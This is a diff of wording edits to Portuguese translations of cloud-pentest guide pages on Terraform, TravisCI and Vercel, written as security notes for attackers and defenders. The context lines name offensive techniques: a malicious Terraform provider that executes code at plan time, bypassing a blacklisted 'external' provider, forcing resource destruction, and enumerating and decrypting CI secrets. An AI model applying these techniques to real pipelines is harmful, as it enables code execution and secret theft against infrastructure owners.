||||
- **Escrever:** Você define recursos, que podem estar em vários provedores e serviços de nuvem. Por exemplo, você pode criar uma configuração para implantar um aplicativo em máquinas virtuais em uma rede de Nuvem Privada Virtual (VPC) com grupos de segurança e um balanceador de carga.
|
||||
- **Escrever:** Você define recursos, que podem estar em vários provedores de nuvem e serviços. Por exemplo, você pode criar uma configuração para implantar um aplicativo em máquinas virtuais em uma rede de Nuvem Privada Virtual (VPC) com grupos de segurança e um balanceador de carga.
|
||||
- **Planejar:** O Terraform cria um plano de execução descrevendo a infraestrutura que criará, atualizará ou destruirá com base na infraestrutura existente e em sua configuração.
|
||||
- **Aplicar:** Após a aprovação, o Terraform executa as operações propostas na ordem correta, respeitando quaisquer dependências de recursos. Por exemplo, se você atualizar as propriedades de uma VPC e mudar o número de máquinas virtuais nessa VPC, o Terraform recriará a VPC antes de escalar as máquinas virtuais.
|
||||
|
||||
@@ -38,7 +38,7 @@ No entanto, o terraform é um **componente muito sensível** a comprometer porqu
|
||||
|
||||
A principal maneira de um atacante conseguir comprometer o sistema onde o terraform está sendo executado é **comprometer o repositório que armazena as configurações do terraform**, porque em algum momento elas serão **interpretadas**.
|
||||
|
||||
Na verdade, existem soluções que **executam o terraform plan/apply automaticamente após um PR** ser criado, como **Atlantis**:
|
||||
Na verdade, existem soluções que **executam terraform plan/apply automaticamente após um PR** ser criado, como **Atlantis**:
|
||||
|
||||
{{#ref}}
|
||||
atlantis-security.md
|
||||
@@ -75,7 +75,7 @@ version = "1.0"
|
||||
|
||||
provider "evil" {}
|
||||
```
|
||||
O provedor é baixado no `init` e executará o código malicioso quando `plan` for executado
|
||||
O provedor é baixado no `init` e executará o código malicioso quando `plan` for executado.
|
||||
|
||||
Você pode encontrar um exemplo em [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
|
||||
|
||||
@@ -148,9 +148,9 @@ Porque o terraform verá que o recurso não deveria existir, ele o destruirá (s
|
||||
]
|
||||
},
|
||||
```
|
||||
2. **Modifique o recurso para excluir de uma maneira que não seja possível atualizar (para que ele seja excluído e recriado)**
|
||||
2. **Modifique o recurso para deletar de uma maneira que não seja possível atualizar (para que ele seja deletado e recriado)**
|
||||
|
||||
Para uma instância EC2, modificar o tipo da instância é suficiente para fazer o terraform excluir e recriá-la.
|
||||
Para uma instância EC2, modificar o tipo da instância é suficiente para fazer o terraform deletar e recriá-la.
|
||||
|
||||
### RCE
|
||||
|
||||
@@ -169,7 +169,7 @@ Também é possível [criar um provedor personalizado](https://developer.hashico
|
||||
```
|
||||
### Substituir provedor na lista negra
|
||||
|
||||
No caso de você encontrar uma situação onde `hashicorp/external` foi colocado na lista negra, você pode re-implementar o provedor `external` fazendo o seguinte. Nota: Usamos um fork do provedor external publicado por https://registry.terraform.io/providers/nazarewk/external/latest. Você também pode publicar seu próprio fork ou re-implementação.
|
||||
Caso você encontre uma situação onde `hashicorp/external` foi colocado na lista negra, você pode reimplementar o provedor `external` fazendo o seguinte. Nota: Usamos um fork do provedor external publicado por https://registry.terraform.io/providers/nazarewk/external/latest. Você também pode publicar seu próprio fork ou reimplementação.
|
||||
```terraform
|
||||
terraform {
|
||||
required_providers {
|
||||
@@ -195,7 +195,7 @@ Snyk oferece uma solução abrangente de escaneamento de Infrastructure as Code
|
||||
- **Recursos:**
|
||||
- Escaneamento em tempo real para vulnerabilidades de segurança e problemas de conformidade.
|
||||
- Integração com sistemas de controle de versão (GitHub, GitLab, Bitbucket).
|
||||
- Pull requests de correção automatizadas.
|
||||
- Pull requests automáticas de correção.
|
||||
- Conselhos detalhados de remediação.
|
||||
- **Inscreva-se:** Crie uma conta em [Snyk](https://snyk.io/).
|
||||
```bash
|
||||
@@ -210,7 +210,7 @@ snyk iac test /path/to/terraform/code
|
||||
|
||||
Ele escaneia a infraestrutura em nuvem provisionada usando [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) ou [OpenTofu](https://opentofu.org/) e detecta configurações incorretas de segurança e conformidade usando escaneamento baseado em grafo.
|
||||
|
||||
Ele realiza [análise de composição de software (SCA)](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md), que é uma varredura de pacotes de código aberto e imagens para Vulnerabilidades e Exposições Comuns (CVEs).
|
||||
Ele realiza [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md), que é uma varredura de pacotes de código aberto e imagens para Vulnerabilidades e Exposições Comuns (CVEs).
|
||||
```bash
|
||||
pip install checkov
|
||||
checkov -d /path/to/folder
|
||||
@@ -227,7 +227,7 @@ Do [**docs**](https://github.com/terraform-compliance/cli): `terraform-complianc
|
||||
- **segregação de deveres:** você pode manter seus testes em um repositório diferente onde uma equipe separada é responsável.
|
||||
|
||||
> [!NOTE]
|
||||
> Infelizmente, se o código estiver usando alguns provedores aos quais você não tem acesso, você não poderá executar o `terraform plan` e rodar esta ferramenta.
|
||||
> Infelizmente, se o código estiver usando alguns provedores aos quais você não tem acesso, você não poderá executar o `terraform plan` e usar esta ferramenta.
|
||||
```bash
|
||||
pip install terraform-compliance
|
||||
terraform plan -out=plan.out
|
||||
@@ -265,7 +265,7 @@ docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
|
||||
Do [**docs**](https://github.com/tenable/terrascan): Terrascan é um analisador de código estático para Infraestrutura como Código. Terrascan permite que você:
|
||||
|
||||
- Escaneie perfeitamente a infraestrutura como código em busca de configurações incorretas.
|
||||
- Monitore a infraestrutura em nuvem provisionada para alterações de configuração que introduzem desvios de postura e permite reverter para uma postura segura.
|
||||
- Monitore a infraestrutura em nuvem provisionada para mudanças de configuração que introduzem desvios de postura e permite reverter para uma postura segura.
|
||||
- Detecte vulnerabilidades de segurança e violações de conformidade.
|
||||
- Mitigue riscos antes de provisionar infraestrutura nativa em nuvem.
|
||||
- Oferece flexibilidade para rodar localmente ou integrar com seu CI\CD.
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Pull requests do Github são bem-vindos explicando como (ab)usar essas plataformas do ponto de vista de um atacante
|
||||
PRs do Github são bem-vindos explicando como (mal)utilizar essas plataformas do ponto de vista de um atacante
|
||||
|
||||
- Drone
|
||||
- TeamCity
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## O que é TravisCI
|
||||
|
||||
**Travis CI** é um serviço de **integração contínua** **hospedado** ou em **instalações próprias** usado para construir e testar projetos de software hospedados em várias **plataformas git diferentes**.
|
||||
**Travis CI** é um serviço de **integração contínua** **hospedado** ou **local** usado para construir e testar projetos de software hospedados em várias **plataformas git diferentes**.
|
||||
|
||||
{{#ref}}
|
||||
basic-travisci-information.md
|
||||
@@ -20,12 +20,12 @@ Para lançar um ataque, você primeiro precisa saber como acionar uma construç
|
||||
|
||||
#### Cron Jobs
|
||||
|
||||
Se você tiver acesso à aplicação web, pode **definir crons para executar a construção**, isso pode ser útil para persistência ou para acionar uma construção:
|
||||
Se você tiver acesso à aplicação web, pode **configurar crons para executar a construção**, isso pode ser útil para persistência ou para acionar uma construção:
|
||||
|
||||
.png>)
|
||||
|
||||
> [!NOTE]
|
||||
> Parece que não é possível definir crons dentro do `.travis.yml` de acordo com [isso](https://github.com/travis-ci/travis-ci/issues/9162).
|
||||
> Parece que não é possível configurar crons dentro do `.travis.yml` de acordo com [isso](https://github.com/travis-ci/travis-ci/issues/9162).
|
||||
|
||||
### PR de Terceiros
|
||||
|
||||
@@ -39,18 +39,18 @@ Como explicado na página de [**informações básicas**](basic-travisci-informa
|
||||
|
||||
- Para **enumerar segredos** configurados como **Variáveis de Ambiente**, vá para as **configurações** do **projeto** e verifique a lista. No entanto, note que todas as variáveis de ambiente do projeto definidas aqui aparecerão ao acionar uma construção.
|
||||
- Para enumerar os **segredos criptografados personalizados**, o melhor que você pode fazer é **verificar o arquivo `.travis.yml`**.
|
||||
- Para **enumerar arquivos criptografados**, você pode verificar por **arquivos `.enc`** no repositório, por linhas semelhantes a `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` no arquivo de configuração, ou por **iv e chaves criptografadas** nas **Variáveis de Ambiente** como:
|
||||
- Para **enumerar arquivos criptografados**, você pode procurar por **arquivos `.enc`** no repositório, por linhas semelhantes a `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` no arquivo de configuração, ou por **iv e chaves criptografadas** nas **Variáveis de Ambiente** como:
|
||||
|
||||
.png>)
|
||||
|
||||
### TODO:
|
||||
|
||||
- Exemplo de construção com shell reverso rodando em Windows/Mac/Linux
|
||||
- Exemplo de construção vazando a env codificada em base64 nos logs
|
||||
- Exemplo de construção vazando a variável de ambiente codificada em base64 nos logs
|
||||
|
||||
### TravisCI Enterprise
|
||||
|
||||
Se um atacante acabar em um ambiente que usa **TravisCI enterprise** (mais informações sobre o que é isso na [**informação básica**](basic-travisci-information.md#travisci-enterprise)), ele poderá **acionar construções no Worker.** Isso significa que um atacante poderá se mover lateralmente para aquele servidor do qual ele poderá ser capaz de:
|
||||
Se um atacante acabar em um ambiente que usa **TravisCI enterprise** (mais informações sobre o que é isso na [**informação básica**](basic-travisci-information.md#travisci-enterprise)), ele poderá **acionar construções no Worker.** Isso significa que um atacante poderá se mover lateralmente para aquele servidor do qual ele poderá:
|
||||
|
||||
- escapar para o host?
|
||||
- comprometer kubernetes?
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Acesso
|
||||
|
||||
TravisCI integra-se diretamente com diferentes plataformas git, como Github, Bitbucket, Assembla e Gitlab. Ele pedirá ao usuário que conceda permissões ao TravisCI para acessar os repositórios que deseja integrar ao TravisCI.
|
||||
TravisCI integra-se diretamente com diferentes plataformas git, como Github, Bitbucket, Assembla e Gitlab. Ele pedirá ao usuário que conceda permissões ao TravisCI para acessar os repositórios que deseja integrar com o TravisCI.
|
||||
|
||||
Por exemplo, no Github, ele pedirá as seguintes permissões:
|
||||
|
||||
@@ -81,7 +81,7 @@ Travis CI Enterprise é uma **versão on-prem do Travis CI**, que você pode imp
|
||||
1. Uma infraestrutura onde uma imagem docker contendo o **Worker e uma imagem de build vinculada podem ser implantadas**.
|
||||
2. Conectividade com certos componentes dos Serviços Centrais do Travis CI - veja o [Configurando o Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) para mais detalhes.
|
||||
|
||||
A quantidade de Workers TCI implantados e imagens de ambiente de build OS determinará a capacidade total concorrente da implantação do Travis CI Enterprise em sua infraestrutura.
|
||||
A quantidade de Workers TCI implantados e imagens de ambiente de build determinará a capacidade total concorrente da implantação do Travis CI Enterprise em sua infraestrutura.
|
||||
|
||||
.png>)
|
||||
|
||||
|
||||
@@ -4,9 +4,9 @@
|
||||
|
||||
## Informações Básicas
|
||||
|
||||
No Vercel, um **Time** é o **ambiente** completo que pertence a um cliente e um **projeto** é uma **aplicação**.
|
||||
No Vercel, uma **Equipe** é o ambiente completo que pertence a um cliente e um **projeto** é uma **aplicação**.
|
||||
|
||||
Para uma revisão de hardening do **Vercel**, você precisa solicitar um usuário com **permissão de função Visualizador** ou pelo menos **permissão de Visualizador de Projeto sobre os projetos** para verificar (caso você só precise verificar os projetos e não a configuração do Time também).
|
||||
Para uma revisão de hardening do **Vercel**, você precisa solicitar um usuário com **permissão de função Visualizador** ou pelo menos **permissão de visualizador de projeto sobre os projetos** para verificar (caso você só precise verificar os projetos e não a configuração da Equipe também).
|
||||
|
||||
## Configurações do Projeto
|
||||
|
||||
@@ -17,7 +17,7 @@ Para uma revisão de hardening do **Vercel**, você precisa solicitar um usuári
|
||||
#### Configurações de Segurança:
|
||||
|
||||
- **Transferência**
|
||||
- **Má configuração:** Permite transferir o projeto para outro time
|
||||
- **Má configuração:** Permite transferir o projeto para outra equipe
|
||||
- **Risco:** Um atacante pode roubar o projeto
|
||||
- **Excluir Projeto**
|
||||
- **Má configuração:** Permite excluir o projeto 
|
||||
@@ -36,9 +36,9 @@ Para uma revisão de hardening do **Vercel**, você precisa solicitar um usuári
|
||||
- **Risco:** Sequestro de domínio, interceptação de tráfego e ataques de phishing.
|
||||
- **Gerenciamento de Certificados SSL/TLS**
|
||||
- **Má configuração:** Uso de certificados SSL/TLS fracos ou expirados.
|
||||
- **Risco:** Vulnerável a ataques de man-in-the-middle (MITM), comprometendo a integridade e confidencialidade dos dados.
|
||||
- **Risco:** Vulnerável a ataques man-in-the-middle (MITM), comprometendo a integridade e confidencialidade dos dados.
|
||||
- **Implementação de DNSSEC**
|
||||
- **Má configuração:** Falha em habilitar DNSSEC ou configurações incorretas de DNSSEC.
|
||||
- **Má configuração:** Falha em habilitar DNSSEC ou configurações DNSSEC incorretas.
|
||||
- **Risco:** Aumento da suscetibilidade a ataques de spoofing de DNS e envenenamento de cache.
|
||||
- **Ambiente usado por domínio**
|
||||
- **Má configuração:** Alterar o ambiente usado pelo domínio em produção.
|
||||
@@ -74,7 +74,7 @@ Para uma revisão de hardening do **Vercel**, você precisa solicitar um usuári
|
||||
- **Má configuração:** Se desativado (padrão), é possível ler os valores dos segredos gerados.
|
||||
- **Risco:** Aumento da probabilidade de exposição acidental ou acesso não autorizado a informações sensíveis.
|
||||
- **Variáveis de Ambiente Compartilhadas**
|
||||
- **Má configuração:** Estas são variáveis de ambiente definidas no nível do Time e também podem conter informações sensíveis.
|
||||
- **Má configuração:** Estas são variáveis de ambiente definidas no nível da Equipe e também podem conter informações sensíveis.
|
||||
- **Risco:** Aumento da probabilidade de exposição acidental ou acesso não autorizado a informações sensíveis.
|
||||
|
||||
---
|
||||
@@ -86,7 +86,7 @@ Para uma revisão de hardening do **Vercel**, você precisa solicitar um usuári
|
||||
#### Configurações de Segurança:
|
||||
|
||||
- **Etapa de Build Ignorada (TODO)**
|
||||
- **Má configuração:** Parece que esta opção permite configurar um script/ comandos bash que serão executados quando um novo commit for enviado ao Github, o que poderia permitir RCE.
|
||||
- **Má configuração:** Parece que esta opção permite configurar um script/commands bash que será executado quando um novo commit for enviado ao Github, o que poderia permitir RCE.
|
||||
- **Risco:** TBD
|
||||
|
||||
---
|
||||
@@ -117,7 +117,7 @@ Para uma revisão de hardening do **Vercel**, você precisa solicitar um usuári
|
||||
|
||||
**Autenticação Vercel**
|
||||
|
||||
- **Má configuração:** Desabilitar a autenticação ou não impor verificações de membros do time.
|
||||
- **Má configuração:** Desabilitar a autenticação ou não impor verificações de membros da equipe.
|
||||
- **Risco:** Usuários não autorizados podem acessar implantações, levando a vazamentos de dados ou uso indevido da aplicação.
|
||||
|
||||
**Bypass de Proteção para Automação**
|
||||
@@ -130,9 +130,9 @@ Para uma revisão de hardening do **Vercel**, você precisa solicitar um usuári
|
||||
- **Má configuração:** Compartilhar links indiscriminadamente ou falhar em revogar links desatualizados.
|
||||
- **Risco:** Acesso não autorizado a implantações protegidas, contornando autenticação e restrições de IP.
|
||||
|
||||
**Lista de Permissão de OPTIONS**
|
||||
**Lista de Permissões OPTIONS**
|
||||
|
||||
- **Má configuração:** Permitir caminhos ou endpoints sensíveis de forma excessivamente ampla.
|
||||
- **Má configuração:** Permitir caminhos ou endpoints sensíveis excessivamente amplos.
|
||||
- **Risco:** Atacantes podem explorar caminhos desprotegidos para realizar ações não autorizadas ou contornar verificações de segurança.
|
||||
|
||||
**Proteção por Senha**
|
||||
@@ -185,17 +185,17 @@ Para uma revisão de hardening do **Vercel**, você precisa solicitar um usuári
|
||||
|
||||
- **Desativar Cron Job**
|
||||
- **Má configuração:** Permite desativar cron jobs declarados dentro do código
|
||||
- **Risco:** Potencial interrupção do serviço (dependendo do que os cron jobs eram destinados)
|
||||
- **Risco:** Interrupção potencial do serviço (dependendo do que os cron jobs eram destinados)
|
||||
|
||||
---
|
||||
|
||||
### Log Drains
|
||||
|
||||
**Propósito:** Configurar serviços de logging externos para capturar e armazenar logs da aplicação para monitoramento e auditoria.
|
||||
**Propósito:** Configurar serviços de logging externos para capturar e armazenar logs de aplicação para monitoramento e auditoria.
|
||||
|
||||
#### Configurações de Segurança:
|
||||
|
||||
- Nada (gerenciado a partir das configurações de times)
|
||||
- Nada (gerenciado a partir das configurações da equipe)
|
||||
|
||||
---
|
||||
|
||||
@@ -215,7 +215,7 @@ Para uma revisão de hardening do **Vercel**, você precisa solicitar um usuári
|
||||
- **Má configuração:** Permitir pull requests não autorizados sem revisões adequadas.
|
||||
- **Risco:** Código malicioso pode ser mesclado ao código-fonte, introduzindo vulnerabilidades ou backdoors.
|
||||
|
||||
**Acesso Seguro ao Backend com Federação OIDC**
|
||||
**Acesso Seguro ao Backend com OIDC Federation**
|
||||
|
||||
- **Má configuração:** Configuração incorreta dos parâmetros OIDC ou uso de URLs de emissor inseguras.
|
||||
- **Risco:** Acesso não autorizado a serviços de backend através de fluxos de autenticação falhos.
|
||||
@@ -234,7 +234,7 @@ Para uma revisão de hardening do **Vercel**, você precisa solicitar um usuári
|
||||
|
||||
### Avançado
|
||||
|
||||
**Propósito:** Acesso a configurações adicionais do projeto para ajustar configurações e aprimorar a segurança.
|
||||
**Propósito:** Acesso a configurações adicionais do projeto para ajuste fino de configurações e aprimoramento da segurança.
|
||||
|
||||
#### Configurações de Segurança:
|
||||
|
||||
@@ -268,26 +268,26 @@ Para uma revisão de hardening do **Vercel**, você precisa solicitar um usuári
|
||||
### Fonte
|
||||
|
||||
- **Má configuração:** Permite acesso para ler o código-fonte completo da aplicação
|
||||
- **Risco:** Potencial exposição de informações sensíveis
|
||||
- **Risco:** Exposição potencial de informações sensíveis
|
||||
|
||||
### Proteção de Desvio
|
||||
### Proteção contra Desvio
|
||||
|
||||
- **Má configuração:** Esta proteção garante que a aplicação do cliente e do servidor estejam sempre usando a mesma versão, para que não haja desincronizações onde o cliente usa uma versão diferente do servidor e, portanto, não se entendem.
|
||||
- **Risco:** Desabilitar isso (se habilitado) pode causar problemas de DoS em novas implantações no futuro
|
||||
|
||||
---
|
||||
|
||||
## Configurações do Time
|
||||
## Configurações da Equipe
|
||||
|
||||
### Geral
|
||||
|
||||
#### Configurações de Segurança:
|
||||
|
||||
- **Transferência**
|
||||
- **Má configuração:** Permite transferir todos os projetos para outro time
|
||||
- **Má configuração:** Permite transferir todos os projetos para outra equipe
|
||||
- **Risco:** Um atacante pode roubar os projetos
|
||||
- **Excluir Projeto**
|
||||
- **Má configuração:** Permite excluir o time com todos os projetos 
|
||||
- **Má configuração:** Permite excluir a equipe com todos os projetos 
|
||||
- **Risco:** Excluir os projetos
|
||||
|
||||
---
|
||||
@@ -298,7 +298,7 @@ Para uma revisão de hardening do **Vercel**, você precisa solicitar um usuári
|
||||
|
||||
- **Limite de Custo do Speed Insights**
|
||||
- **Má configuração:** Um atacante pode aumentar esse número
|
||||
- **Risco:** Custos aumentados
|
||||
- **Risco:** Aumento de custos
|
||||
|
||||
---
|
||||
|
||||
@@ -310,19 +310,19 @@ Para uma revisão de hardening do **Vercel**, você precisa solicitar um usuári
|
||||
- **Má configuração:** Um atacante pode manter persistência convidando uma conta que ele controla
|
||||
- **Risco:** Persistência do atacante
|
||||
- **Funções**
|
||||
- **Má configuração:** Conceder muitas permissões a pessoas que não precisam aumenta o risco da configuração do Vercel. Verifique todos os papéis possíveis em [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)
|
||||
- **Risco**: Aumentar a exposição do Time Vercel
|
||||
- **Má configuração:** Conceder permissões excessivas a pessoas que não precisam aumenta o risco da configuração do Vercel. Verifique todos os papéis possíveis em [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)
|
||||
- **Risco**: Aumentar a exposição da Equipe Vercel
|
||||
|
||||
---
|
||||
|
||||
### Grupos de Acesso
|
||||
|
||||
Um **Grupo de Acesso** no Vercel é uma coleção de projetos e membros do time com atribuições de função predefinidas, permitindo gerenciamento de acesso centralizado e simplificado em vários projetos.
|
||||
Um **Grupo de Acesso** no Vercel é uma coleção de projetos e membros da equipe com atribuições de função predefinidas, permitindo gerenciamento de acesso centralizado e simplificado em vários projetos.
|
||||
|
||||
**Possíveis Má Configurações:**
|
||||
|
||||
- **Permissões Excessivas para Membros:** Atribuir funções com mais permissões do que o necessário, levando a acesso ou ações não autorizadas.
|
||||
- **Atribuições de Função Improprias:** Atribuir incorretamente funções que não se alinham com as responsabilidades dos membros do time, causando escalonamento de privilégios.
|
||||
- **Atribuições de Função Improprias:** Atribuir incorretamente funções que não se alinham com as responsabilidades dos membros da equipe, causando escalonamento de privilégios.
|
||||
- **Falta de Segregação de Projetos:** Falha em separar projetos sensíveis, permitindo acesso mais amplo do que o pretendido.
|
||||
- **Gerenciamento Insuficiente de Grupos:** Não revisar ou atualizar regularmente os Grupos de Acesso, resultando em permissões de acesso desatualizadas ou inadequadas.
|
||||
- **Definições de Função Inconsistentes:** Usar definições de função inconsistentes ou pouco claras em diferentes Grupos de Acesso, levando a confusão e lacunas de segurança.
|
||||
@@ -343,36 +343,36 @@ Um **Grupo de Acesso** no Vercel é uma coleção de projetos e membros do time
|
||||
|
||||
#### Configurações de Segurança:
|
||||
|
||||
- **Domínio de Email do Time:** Quando configurado, esta configuração convida automaticamente Contas Pessoais do Vercel com endereços de email terminando no domínio especificado (por exemplo, `mydomain.com`) a se juntarem ao seu time ao se inscreverem e no painel.
|
||||
- **Domínio de Email da Equipe:** Quando configurado, esta configuração convida automaticamente Contas Pessoais do Vercel com endereços de email terminando no domínio especificado (por exemplo, `mydomain.com`) a se juntarem à sua equipe ao se inscreverem e no painel.
|
||||
- **Má configuração:** 
|
||||
- Especificar o domínio de email errado ou um domínio com erro de ortografia na configuração do Domínio de Email do Time.
|
||||
- Especificar o domínio de email errado ou um domínio com erro de ortografia na configuração do Domínio de Email da Equipe.
|
||||
- Usar um domínio de email comum (por exemplo, `gmail.com`, `hotmail.com`) em vez de um domínio específico da empresa.
|
||||
- **Riscos:**
|
||||
- **Acesso Não Autorizado:** Usuários com endereços de email de domínios não pretendidos podem receber convites para se juntar ao seu time.
|
||||
- **Acesso Não Autorizado:** Usuários com endereços de email de domínios não intencionais podem receber convites para se juntar à sua equipe.
|
||||
- **Exposição de Dados:** Exposição potencial de informações sensíveis do projeto a indivíduos não autorizados.
|
||||
- **Escopos Git Protegidos:** Permite adicionar até 5 escopos Git ao seu time para impedir que outros times do Vercel implantem repositórios do escopo protegido. Vários times podem especificar o mesmo escopo, permitindo acesso a ambos os times.
|
||||
- **Escopos Git Protegidos:** Permite adicionar até 5 escopos Git à sua equipe para impedir que outras equipes do Vercel implantem repositórios do escopo protegido. Várias equipes podem especificar o mesmo escopo, permitindo acesso a ambas as equipes.
|
||||
- **Má configuração:** Não adicionar escopos Git críticos à lista protegida.
|
||||
- **Riscos:**
|
||||
- **Implantações Não Autorizadas:** Outros times podem implantar repositórios dos escopos Git da sua organização sem autorização.
|
||||
- **Exposição de Propriedade Intelectual:** Código proprietário pode ser implantado e acessado fora do seu time.
|
||||
- **Políticas de Variáveis de Ambiente:** Impõe políticas para a criação e edição das variáveis de ambiente do time. Especificamente, você pode impor que todas as variáveis de ambiente sejam criadas como **Variáveis de Ambiente Sensíveis**, que só podem ser descriptografadas pelo sistema de implantação do Vercel.
|
||||
- **Implantações Não Autorizadas:** Outras equipes podem implantar repositórios dos escopos Git da sua organização sem autorização.
|
||||
- **Exposição de Propriedade Intelectual:** Código proprietário pode ser implantado e acessado fora da sua equipe.
|
||||
- **Políticas de Variáveis de Ambiente:** Impõe políticas para a criação e edição das variáveis de ambiente da equipe. Especificamente, você pode impor que todas as variáveis de ambiente sejam criadas como **Variáveis de Ambiente Sensíveis**, que só podem ser descriptografadas pelo sistema de implantação do Vercel.
|
||||
- **Má configuração:** Manter a imposição de variáveis de ambiente sensíveis desativada.
|
||||
- **Riscos:**
|
||||
- **Exposição de Segredos:** Variáveis de ambiente podem ser visualizadas ou editadas por membros não autorizados do time.
|
||||
- **Exposição de Segredos:** Variáveis de ambiente podem ser visualizadas ou editadas por membros não autorizados da equipe.
|
||||
- **Vazamento de Dados:** Informações sensíveis como chaves de API e credenciais podem ser vazadas.
|
||||
- **Log de Auditoria:** Fornece uma exportação da atividade do time por até os últimos 90 dias. Logs de auditoria ajudam a monitorar e rastrear ações realizadas pelos membros do time.
|
||||
- **Registro de Auditoria:** Fornece uma exportação da atividade da equipe por até os últimos 90 dias. Registros de auditoria ajudam a monitorar e rastrear ações realizadas pelos membros da equipe.
|
||||
- **Má configuração:**\
|
||||
Conceder acesso aos logs de auditoria a membros não autorizados do time.
|
||||
Conceder acesso aos registros de auditoria a membros não autorizados da equipe.
|
||||
- **Riscos:**
|
||||
- **Violação de Privacidade:** Exposição de atividades e dados sensíveis dos usuários.
|
||||
- **Manipulação de Logs:** Atores maliciosos podem alterar ou excluir logs para encobrir suas trilhas.
|
||||
- **SAML Single Sign-On:** Permite personalização da autenticação SAML e sincronização de diretórios para o seu time, permitindo integração com um Provedor de Identidade (IdP) para autenticação e gerenciamento de usuários centralizados.
|
||||
- **Má configuração:** Um atacante pode backdoor na configuração do Time configurando parâmetros SAML como Entity ID, SSO URL ou impressões digitais de certificado.
|
||||
- **Manipulação de Registros:** Atores maliciosos podem alterar ou excluir registros para encobrir suas trilhas.
|
||||
- **SAML Single Sign-On:** Permite personalização da autenticação SAML e sincronização de diretórios para sua equipe, permitindo integração com um Provedor de Identidade (IdP) para autenticação e gerenciamento de usuários centralizados.
|
||||
- **Má configuração:** Um atacante pode backdoor a configuração da Equipe configurando parâmetros SAML como Entity ID, SSO URL ou impressões digitais de certificado.
|
||||
- **Risco:** Manter persistência
|
||||
- **Visibilidade de Endereço IP:** Controla se endereços IP, que podem ser considerados informações pessoais sob certas leis de proteção de dados, são exibidos em consultas de Monitoramento e Log Drains.
|
||||
- **Visibilidade de Endereço IP:** Controla se os endereços IP, que podem ser considerados informações pessoais sob certas leis de proteção de dados, são exibidos em consultas de Monitoramento e Log Drains.
|
||||
- **Má configuração:** Deixar a visibilidade do endereço IP habilitada sem necessidade.
|
||||
- **Riscos:**
|
||||
- **Violação de Privacidade:** Não conformidade com regulamentos de proteção de dados como GDPR.
|
||||
- **Violação de Privacidade:** Não conformidade com regulamentos de proteção de dados como o GDPR.
|
||||
- **Repercussões Legais:** Multas e penalidades potenciais por manuseio inadequado de dados pessoais.
|
||||
- **Bloqueio de IP:** Permite a configuração de endereços IP e intervalos CIDR que o Vercel deve bloquear solicitações. Solicitações bloqueadas não contribuem para sua cobrança.
|
||||
- **Má configuração:** Poderia ser abusada por um atacante para permitir tráfego malicioso ou bloquear tráfego legítimo.
|
||||
@@ -384,22 +384,22 @@ Conceder acesso aos logs de auditoria a membros não autorizados do time.
|
||||
|
||||
### Computação Segura
|
||||
|
||||
**Vercel Secure Compute** permite conexões seguras e privadas entre Funções Vercel e ambientes de backend (por exemplo, bancos de dados) estabelecendo redes isoladas com endereços IP dedicados. Isso elimina a necessidade de expor serviços de backend publicamente, aprimorando a segurança, conformidade e privacidade.
|
||||
**Vercel Secure Compute** permite conexões seguras e privadas entre Funções Vercel e ambientes de backend (por exemplo, bancos de dados) estabelecendo redes isoladas com endereços IP dedicados. Isso elimina a necessidade de expor serviços de backend publicamente, melhorando a segurança, conformidade e privacidade.
|
||||
|
||||
#### **Possíveis Má Configurações e Riscos**
|
||||
|
||||
1. **Seleção Incorreta de Região AWS**
|
||||
1. **Seleção Incorreta da Região AWS**
|
||||
- **Má configuração:** Escolher uma região AWS para a rede Secure Compute que não corresponda à região dos serviços de backend.
|
||||
- **Risco:** Aumento da latência, potenciais problemas de conformidade de residência de dados e desempenho degradado.
|
||||
2. **Blocos CIDR Sobrepostos**
|
||||
- **Má configuração:** Selecionar blocos CIDR que se sobrepõem a VPCs existentes ou outras redes.
|
||||
- **Risco:** Conflitos de rede levando a conexões falhadas, acesso não autorizado ou vazamento de dados entre redes.
|
||||
3. **Configuração Impropria de Peering VPC**
|
||||
3. **Configuração Incorreta de Peering VPC**
|
||||
- **Má configuração:** Configuração incorreta do peering VPC (por exemplo, IDs de VPC errados, atualizações incompletas da tabela de rotas).
|
||||
- **Risco:** Acesso não autorizado à infraestrutura de backend, conexões seguras falhadas e potenciais vazamentos de dados.
|
||||
4. **Atribuições Excessivas de Projetos**
|
||||
